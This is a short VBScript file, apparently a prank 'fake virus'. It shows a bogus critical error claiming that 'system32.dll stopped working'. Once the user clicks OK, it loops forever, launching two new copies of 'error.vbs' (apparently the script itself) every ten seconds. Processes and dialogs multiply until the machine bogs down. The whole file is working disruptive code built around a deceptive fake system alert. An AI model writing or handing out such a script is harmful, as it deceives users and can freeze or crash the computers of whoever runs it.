result = MsgBox ("An Error Occured at C:/", vbCritical, "system32.dll stopped working")

Select Case result
Case vbOk
Do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "error.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "error.vbs"
WScript.Sleep 10000
Loop

End Select